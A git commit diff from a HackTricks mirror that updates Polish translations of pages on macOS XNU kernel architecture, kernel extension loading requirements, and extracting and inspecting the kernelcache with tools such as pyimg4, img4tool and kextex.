mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
1d30a3e973
commit
601dd662bf
5 changed files with 409 additions and 374 deletions
|
@ -1,166 +1,97 @@
|
|||
# Architektura macOS Kernel & Rozszerzenia Systemowe
|
||||
# macOS Kernel & System Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
Dowiedz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Szkolenie AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Dowiedz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Szkolenie GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Udostępniaj sztuczki hackingowe, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Jądro XNU
|
||||
## XNU Kernel
|
||||
|
||||
**Rdzeniem macOS jest XNU**, co oznacza "X is Not Unix". To jądro składa się z **mikrojądra Mach** (o którym będzie mowa później), **oraz** elementów z dystrybucji oprogramowania Berkeley Software Distribution (**BSD**). XNU zapewnia również platformę dla **sterowników jądra poprzez system o nazwie I/O Kit**. Jądro XNU jest częścią projektu o otwartym kodzie źródłowym Darwin, co oznacza, że **jego kod źródłowy jest dostępny bezpłatnie**.
|
||||
**Rdzeń macOS to XNU**, co oznacza "X nie jest Unixem". Ten kernel składa się zasadniczo z **mikrokernela Mach** (omówionego później) oraz elementów z Berkeley Software Distribution (**BSD**). XNU zapewnia również platformę dla **sterowników jądra za pośrednictwem systemu zwanego I/O Kit**. Kernel XNU jest częścią projektu open source Darwin, co oznacza, że **jego kod źródłowy jest ogólnodostępny**.
|
||||
|
||||
Z perspektywy badacza bezpieczeństwa lub dewelopera Unixa, **macOS** może wydawać się dość **podobny** do systemu **FreeBSD** z eleganckim interfejsem GUI i wieloma niestandardowymi aplikacjami. Większość aplikacji opracowanych dla BSD skompiluje się i uruchomi na macOS bez konieczności modyfikacji, ponieważ narzędzia wiersza poleceń znane użytkownikom Unixa są obecne w macOS. Jednakże, ponieważ jądro XNU zawiera Mach, istnieją istotne różnice między tradycyjnym systemem przypominającym Unixa a macOS, które mogą powodować potencjalne problemy lub zapewniać unikalne korzyści.
|
||||
Z perspektywy badacza bezpieczeństwa lub dewelopera Unix, **macOS** może wydawać się dość **podobny** do systemu **FreeBSD** z eleganckim interfejsem graficznym i wieloma niestandardowymi aplikacjami. Większość aplikacji opracowanych dla BSD skompiluje się i uruchomi na macOS bez potrzeby modyfikacji, ponieważ narzędzia wiersza poleceń znane użytkownikom Unix są obecne w macOS. Jednakże, ponieważ kernel XNU zawiera Mach, istnieją istotne różnice między tradycyjnym systemem podobnym do Unixa a macOS, a te różnice mogą powodować potencjalne problemy lub zapewniać unikalne zalety.
|
||||
|
||||
Wersja o otwartym kodzie źródłowym XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
||||
Otwartoźródłowa wersja XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
||||
|
||||
### Mach
|
||||
|
||||
Mach to **mikrojądro** zaprojektowane do bycia **zgodnym z UNIX-em**. Jedną z jego kluczowych zasad projektowych było **minimalizowanie** ilości **kodu** działającego w przestrzeni **jądra** i zamiast tego umożliwienie wielu typowych funkcji jądra, takich jak system plików, sieć i I/O, aby **działały jako zadania na poziomie użytkownika**.
|
||||
Mach to **mikrokernel** zaprojektowany w celu **kompatybilności z UNIX**. Jedną z jego kluczowych zasad projektowych było **minimalizowanie** ilości **kodu** działającego w **przestrzeni jądra** i zamiast tego pozwolenie wielu typowym funkcjom jądra, takim jak system plików, sieci i I/O, na **działanie jako zadania na poziomie użytkownika**.
|
||||
|
||||
W XNU, Mach jest **odpowiedzialny za wiele krytycznych operacji na niskim poziomie**, które typowo obsługuje jądro, takie jak planowanie procesora, wielozadaniowość i zarządzanie pamięcią wirtualną.
|
||||
W XNU, Mach jest **odpowiedzialny za wiele krytycznych operacji niskiego poziomu**, które typowo obsługuje kernel, takich jak planowanie procesora, wielozadaniowość i zarządzanie pamięcią wirtualną.
|
||||
|
||||
### BSD
|
||||
|
||||
Jądro XNU **również zawiera** znaczną ilość kodu pochodzącego z projektu **FreeBSD**. Ten kod **działa jako część jądra wraz z Machem**, w tej samej przestrzeni adresowej. Jednak kod FreeBSD w XNU może znacząco różnić się od oryginalnego kodu FreeBSD, ponieważ konieczne były modyfikacje, aby zapewnić jego zgodność z Mach. FreeBSD przyczynia się do wielu operacji jądra, w tym:
|
||||
Kernel XNU **zawiera** również znaczną ilość kodu pochodzącego z projektu **FreeBSD**. Ten kod **działa jako część jądra wraz z Machem**, w tej samej przestrzeni adresowej. Jednak kod FreeBSD w XNU może znacznie różnić się od oryginalnego kodu FreeBSD, ponieważ wymagane były modyfikacje, aby zapewnić jego zgodność z Machem. FreeBSD przyczynia się do wielu operacji jądra, w tym:
|
||||
|
||||
* Zarządzanie procesami
|
||||
* Obsługa sygnałów
|
||||
* Podstawowe mechanizmy bezpieczeństwa, w tym zarządzanie użytkownikami i grupami
|
||||
* Infrastruktura wywołań systemowych
|
||||
* Stos TCP/IP i gniazda
|
||||
* Zapora sieciowa i filtrowanie pakietów
|
||||
* Zapora ogniowa i filtrowanie pakietów
|
||||
|
||||
Zrozumienie interakcji między BSD a Mach może być skomplikowane ze względu na ich różne ramy konceptualne. Na przykład BSD używa procesów jako swojej fundamentalnej jednostki wykonawczej, podczas gdy Mach działa na podstawie wątków. Ta niezgodność jest pogodzona w XNU poprzez **powiązanie każdego procesu BSD z zadaniem Mach**, które zawiera dokładnie jeden wątek Macha. Gdy używane jest wywołanie systemowe fork() BSD, kod BSD w jądrze używa funkcji Macha do utworzenia struktury zadania i wątku.
|
||||
Zrozumienie interakcji między BSD a Machem może być skomplikowane, z powodu ich różnych ram koncepcyjnych. Na przykład, BSD używa procesów jako swojej podstawowej jednostki wykonawczej, podczas gdy Mach działa na podstawie wątków. Ta rozbieżność jest rozwiązywana w XNU poprzez **powiązanie każdego procesu BSD z zadaniem Mach**, które zawiera dokładnie jeden wątek Mach. Gdy używane jest wywołanie systemowe fork() w BSD, kod BSD w jądrze używa funkcji Mach do tworzenia struktury zadania i wątku.
|
||||
|
||||
Ponadto, **Mach i BSD utrzymują różne modele bezpieczeństwa**: **model bezpieczeństwa Macha opiera się na **prawach portów**, podczas gdy model bezpieczeństwa BSD działa na podstawie **własności procesu**. Różnice między tymi dwoma modelami czasami prowadziły do podatności na eskalację uprawnień lokalnych. Oprócz typowych wywołań systemowych, istnieją również **pułapki Macha, które pozwalają programom przestrzeni użytkownika na interakcję z jądrem**. Te różne elementy razem tworzą wieloaspektową, hybrydową architekturę jądra macOS.
|
||||
Ponadto, **Mach i BSD utrzymują różne modele bezpieczeństwa**: **model** bezpieczeństwa **Macha** oparty jest na **prawach portów**, podczas gdy model bezpieczeństwa BSD działa na podstawie **własności procesów**. Różnice między tymi dwoma modelami czasami prowadziły do lokalnych luk w podnoszeniu uprawnień. Oprócz typowych wywołań systemowych, istnieją również **pułapki Mach, które pozwalają programom w przestrzeni użytkownika na interakcję z jądrem**. Te różne elementy razem tworzą złożoną, hybrydową architekturę jądra macOS.
|
||||
|
||||
### I/O Kit - Sterowniki
|
||||
|
||||
I/O Kit to otwarty, obiektowy **framework sterowników urządzeń** w jądrze XNU, obsługujący **dynamicznie ładowane sterowniki urządzeń**. Pozwala on na dodawanie modułowego kodu do jądra w locie, obsługując różnorodny sprzęt.
|
||||
I/O Kit to otwartoźródłowa, obiektowa **ramka sterowników urządzeń** w jądrze XNU, obsługująca **dynamicznie ładowane sterowniki urządzeń**. Umożliwia dodawanie modułowego kodu do jądra w locie, wspierając różnorodny sprzęt.
|
||||
|
||||
{% content-ref url="macos-iokit.md" %}
|
||||
[macos-iokit.md](macos-iokit.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### IPC - Komunikacja Międzyprocesowa
|
||||
### IPC - Komunikacja między procesami
|
||||
|
||||
{% content-ref url="../macos-proces-abuse/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kernelcache
|
||||
|
||||
**Kernelcache** to **przedskompilowana i przedpołączona wersja jądra XNU**, wraz z niezbędnymi **sterownikami urządzeń** i **rozszerzeniami jądra**. Jest przechowywany w formacie **skompresowanym** i jest dekompresowany do pamięci podczas procesu uruchamiania systemu. Kernelcache ułatwia **szybsze uruchamianie** poprzez posiadanie gotowej do uruchomienia wersji jądra i istotnych sterowników, zmniejszając czas i zasoby, które w przeciwnym razie zostałyby wykorzystane na dynamiczne ładowanie i łączenie tych komponentów podczas uruchamiania systemu.
|
||||
|
||||
W systemie iOS znajduje się w **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**, a w macOS można go znaleźć za pomocą **`find / -name kernelcache 2>/dev/null`** lub **`mdfind kernelcache | grep kernelcache`**
|
||||
|
||||
Możliwe jest uruchomienie **`kextstat`** w celu sprawdzenia załadowanych rozszerzeń jądra.
|
||||
|
||||
#### IMG4
|
||||
|
||||
Format pliku IMG4 to format kontenera używany przez Apple w swoich urządzeniach iOS i macOS do bezpiecznego **przechowywania i weryfikacji komponentów oprogramowania** (takich jak **kernelcache**). Format IMG4 zawiera nagłówek i kilka tagów, które zawierają różne części danych, w tym rzeczywistą ładunku (jak jądro lub bootloader), sygnaturę i zestaw właściwości manifestu. Format obsługuje weryfikację kryptograficzną, pozwalając urządzeniu potwierdzić autentyczność i integralność komponentu oprogramowania przed jego wykonaniem.
|
||||
|
||||
Zazwyczaj składa się z następujących składników:
|
||||
|
||||
* **Ładunek (IM4P)**:
|
||||
* Często skompresowany (LZFSE4, LZSS, …)
|
||||
* Opcjonalnie zaszyfrowany
|
||||
* **Manifest (IM4M)**:
|
||||
* Zawiera sygnaturę
|
||||
* Dodatkowy słownik Klucz/Wartość
|
||||
* **Informacje o przywracaniu (IM4R)**:
|
||||
* Znane również jako APNonce
|
||||
* Zapobiega odtwarzaniu niektórych aktualizacji
|
||||
* OPCJONALNIE: Zazwyczaj tego nie ma
|
||||
|
||||
Dekompresuj Kernelcache:
|
||||
```bash
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
|
||||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
#### Symbole kernelcache
|
||||
|
||||
Czasami Apple wydaje **kernelcache** z **symbolami**. Możesz pobrać niektóre oprogramowania z symbolami, przechodząc do linków na [https://theapplewiki.com](https://theapplewiki.com/).
|
||||
|
||||
### IPSW
|
||||
|
||||
To są oprogramowania Apple, które możesz pobrać ze strony [**https://ipsw.me/**](https://ipsw.me/). Oprócz innych plików zawiera **kernelcache**.\
|
||||
Aby **wyodrębnić** pliki, po prostu je **rozpakuj**.
|
||||
|
||||
Po wyodrębnieniu oprogramowania otrzymasz plik o nazwie: **`kernelcache.release.iphone14`**. Jest w formacie **IMG4**, możesz wyodrębnić interesujące informacje za pomocą:
|
||||
|
||||
* [**pyimg4**](https://github.com/m1stadev/PyIMG4)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* [**img4tool**](https://github.com/tihmstar/img4tool)
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
Możesz sprawdzić wydobyty kernelcache pod kątem symboli za pomocą: **`nm -a kernelcache.release.iphone14.e | wc -l`**
|
||||
|
||||
Dzięki temu możemy teraz **wydobyć wszystkie rozszerzenia** lub **to, które cię interesuje:**
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
## Extract com.apple.security.sandbox
|
||||
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
|
||||
|
||||
# Extract all
|
||||
kextex_all kernelcache.release.iphone14.e
|
||||
|
||||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
## Rozszerzenia jądra macOS
|
||||
|
||||
macOS jest **bardzo restrykcyjny w ładowaniu rozszerzeń jądra** (.kext) ze względu na wysokie uprawnienia, z którymi kod będzie uruchamiany. Faktycznie, domyślnie jest to praktycznie niemożliwe (chyba że zostanie znalezione obejście).
|
||||
macOS jest **bardzo restrykcyjny w ładowaniu rozszerzeń jądra** (.kext) z powodu wysokich uprawnień, z jakimi działa kod. W rzeczywistości, domyślnie jest to praktycznie niemożliwe (chyba że znajdzie się obejście).
|
||||
|
||||
Na następnej stronie możesz również zobaczyć, jak odzyskać `.kext`, które macOS ładuje w swoim **kernelcache**:
|
||||
|
||||
{% content-ref url="macos-kernel-extensions.md" %}
|
||||
[macos-kernel-extensions.md](macos-kernel-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Rozszerzenia systemowe macOS
|
||||
### Rozszerzenia systemu macOS
|
||||
|
||||
Zamiast korzystać z Rozszerzeń Jądra, macOS stworzył Rozszerzenia Systemowe, które oferują interakcję z jądrem za pomocą interfejsów API na poziomie użytkownika. W ten sposób programiści mogą unikać korzystania z rozszerzeń jądra.
|
||||
Zamiast używać rozszerzeń jądra, macOS stworzył Rozszerzenia Systemu, które oferują API na poziomie użytkownika do interakcji z jądrem. W ten sposób deweloperzy mogą unikać używania rozszerzeń jądra.
|
||||
|
||||
{% content-ref url="macos-system-extensions.md" %}
|
||||
[macos-system-extensions.md](macos-system-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Odnośniki
|
||||
## Referencje
|
||||
|
||||
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||
* [**Podręcznik hakera Maca**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i praktykuj Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i praktykuj Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# macOS Kernel Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,11 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Podstawowe informacje
|
||||
## Basic Information
|
||||
|
||||
Rozszerzenia jądra (Kexts) to **pakiety** z rozszerzeniem **`.kext`**, które są **ładowane bezpośrednio do przestrzeni jądra macOS**, zapewniając dodatkową funkcjonalność głównemu systemowi operacyjnemu.
|
||||
|
||||
### Wymagania
|
||||
### Requirements
|
||||
|
||||
Oczywiście, jest to tak potężne, że **załadowanie rozszerzenia jądra** jest **skomplikowane**. Oto **wymagania**, które musi spełniać rozszerzenie jądra, aby mogło być załadowane:
|
||||
|
||||
|
@ -30,15 +30,15 @@ Oczywiście, jest to tak potężne, że **załadowanie rozszerzenia jądra** jes
|
|||
* Rozszerzenie jądra musi być **podpisane certyfikatem podpisywania kodu jądra**, który może być **przyznany tylko przez Apple**. Kto dokładnie przeanalizuje firmę i powody, dla których jest to potrzebne.
|
||||
* Rozszerzenie jądra musi być również **notaryzowane**, Apple będzie mogło sprawdzić je pod kątem złośliwego oprogramowania.
|
||||
* Następnie, użytkownik **root** jest tym, który może **załadować rozszerzenie jądra**, a pliki wewnątrz pakietu muszą **należeć do roota**.
|
||||
* Podczas procesu ładowania, pakiet musi być przygotowany w **chronionej lokalizacji nie-root**: `/Library/StagedExtensions` (wymaga przyznania `com.apple.rootless.storage.KernelExtensionManagement`).
|
||||
* Podczas procesu ładowania pakiet musi być przygotowany w **chronionej lokalizacji nie-root**: `/Library/StagedExtensions` (wymaga przyznania `com.apple.rootless.storage.KernelExtensionManagement`).
|
||||
* Na koniec, podczas próby załadowania, użytkownik [**otrzyma prośbę o potwierdzenie**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) i, jeśli zostanie zaakceptowana, komputer musi być **uruchomiony ponownie**, aby go załadować.
|
||||
|
||||
### Proces ładowania
|
||||
### Loading process
|
||||
|
||||
W Catalina wyglądało to tak: Interesujące jest to, że proces **weryfikacji** zachodzi w **userland**. Jednak tylko aplikacje z przyznaniem **`com.apple.private.security.kext-management`** mogą **zażądać od jądra załadowania rozszerzenia**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
|
||||
1. **`kextutil`** cli **rozpoczyna** proces **weryfikacji** ładowania rozszerzenia
|
||||
* Będzie komunikować się z **`kextd`**, wysyłając za pomocą **usługi Mach**.
|
||||
* Będzie komunikować się z **`kextd`** za pomocą **usługi Mach**.
|
||||
2. **`kextd`** sprawdzi kilka rzeczy, takich jak **podpis**
|
||||
* Będzie komunikować się z **`syspolicyd`**, aby **sprawdzić**, czy rozszerzenie może być **załadowane**.
|
||||
3. **`syspolicyd`** **poprosi** **użytkownika**, jeśli rozszerzenie nie zostało wcześniej załadowane.
|
||||
|
@ -47,22 +47,119 @@ W Catalina wyglądało to tak: Interesujące jest to, że proces **weryfikacji**
|
|||
|
||||
Jeśli **`kextd`** nie jest dostępny, **`kextutil`** może przeprowadzić te same kontrole.
|
||||
|
||||
### Enumeration (loaded kexts)
|
||||
```bash
|
||||
# Get loaded kernel extensions
|
||||
kextstat
|
||||
|
||||
# Get dependencies of the kext number 22
|
||||
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
|
||||
```
|
||||
## Kernelcache
|
||||
|
||||
{% hint style="danger" %}
|
||||
Chociaż rozszerzenia jądra powinny znajdować się w `/System/Library/Extensions/`, jeśli przejdziesz do tego folderu, **nie znajdziesz żadnego pliku binarnego**. Dzieje się tak z powodu **kernelcache** i aby odwrócić jeden `.kext`, musisz znaleźć sposób na jego uzyskanie.
|
||||
{% endhint %}
|
||||
|
||||
**Kernelcache** to **wstępnie skompilowana i wstępnie połączona wersja jądra XNU**, wraz z niezbędnymi **sterownikami** i **rozszerzeniami jądra**. Jest przechowywana w **skompresowanym** formacie i dekompresowana do pamięci podczas procesu uruchamiania. Kernelcache ułatwia **szybszy czas uruchamiania**, mając gotową do uruchomienia wersję jądra i kluczowych sterowników, co zmniejsza czas i zasoby, które w przeciwnym razie byłyby wydawane na dynamiczne ładowanie i łączenie tych komponentów w czasie uruchamiania.
|
||||
|
||||
### Lokalny Kernelcache
|
||||
|
||||
W iOS znajduje się w **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**, w macOS możesz go znaleźć za pomocą: **`find / -name "kernelcache" 2>/dev/null`** \
|
||||
W moim przypadku w macOS znalazłem go w:
|
||||
|
||||
* `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
|
||||
|
||||
#### IMG4
|
||||
|
||||
Format pliku IMG4 to format kontenerowy używany przez Apple w urządzeniach iOS i macOS do bezpiecznego **przechowywania i weryfikowania komponentów oprogramowania układowego** (takich jak **kernelcache**). Format IMG4 zawiera nagłówek i kilka tagów, które kapsułkują różne fragmenty danych, w tym rzeczywisty ładunek (tak jak jądro lub bootloader), podpis oraz zestaw właściwości manifestu. Format wspiera weryfikację kryptograficzną, pozwalając urządzeniu potwierdzić autentyczność i integralność komponentu oprogramowania układowego przed jego wykonaniem.
|
||||
|
||||
Zwykle składa się z następujących komponentów:
|
||||
|
||||
* **Payload (IM4P)**:
|
||||
* Często skompresowany (LZFSE4, LZSS, …)
|
||||
* Opcjonalnie szyfrowany
|
||||
* **Manifest (IM4M)**:
|
||||
* Zawiera podpis
|
||||
* Dodatkowy słownik klucz/wartość
|
||||
* **Restore Info (IM4R)**:
|
||||
* Znany również jako APNonce
|
||||
* Zapobiega powtarzaniu niektórych aktualizacji
|
||||
* OPCJONALNE: Zwykle nie jest to znalezione
|
||||
|
||||
Dekompresuj Kernelcache:
|
||||
```bash
|
||||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
### Pobierz 
|
||||
|
||||
* [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
|
||||
|
||||
W [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) można znaleźć wszystkie zestawy debugowania jądra. Możesz je pobrać, zamontować, otworzyć za pomocą narzędzia [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), uzyskać dostęp do folderu **`.kext`** i **wyodrębnić go**.
|
||||
|
||||
Sprawdź go pod kątem symboli za pomocą:
|
||||
```bash
|
||||
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
|
||||
```
|
||||
* [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
|
||||
|
||||
Czasami Apple wydaje **kernelcache** z **symbolami**. Możesz pobrać niektóre firmware z symbolami, korzystając z linków na tych stronach. Firmware będzie zawierać **kernelcache** oraz inne pliki.
|
||||
|
||||
Aby **wyodrębnić** pliki, zacznij od zmiany rozszerzenia z `.ipsw` na `.zip` i **rozpakuj** je.
|
||||
|
||||
Po wyodrębnieniu firmware otrzymasz plik o nazwie: **`kernelcache.release.iphone14`**. Jest w formacie **IMG4**, możesz wyodrębnić interesujące informacje za pomocą:
|
||||
|
||||
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
### Inspecting kernelcache
|
||||
|
||||
Sprawdź, czy kernelcache ma symbole z
|
||||
```bash
|
||||
nm -a kernelcache.release.iphone14.e | wc -l
|
||||
```
|
||||
Z tym możemy teraz **wyodrębnić wszystkie rozszerzenia** lub **to, które Cię interesuje:**
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
## Extract com.apple.security.sandbox
|
||||
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
|
||||
|
||||
# Extract all
|
||||
kextex_all kernelcache.release.iphone14.e
|
||||
|
||||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
## Referencje
|
||||
|
||||
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
|
||||
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
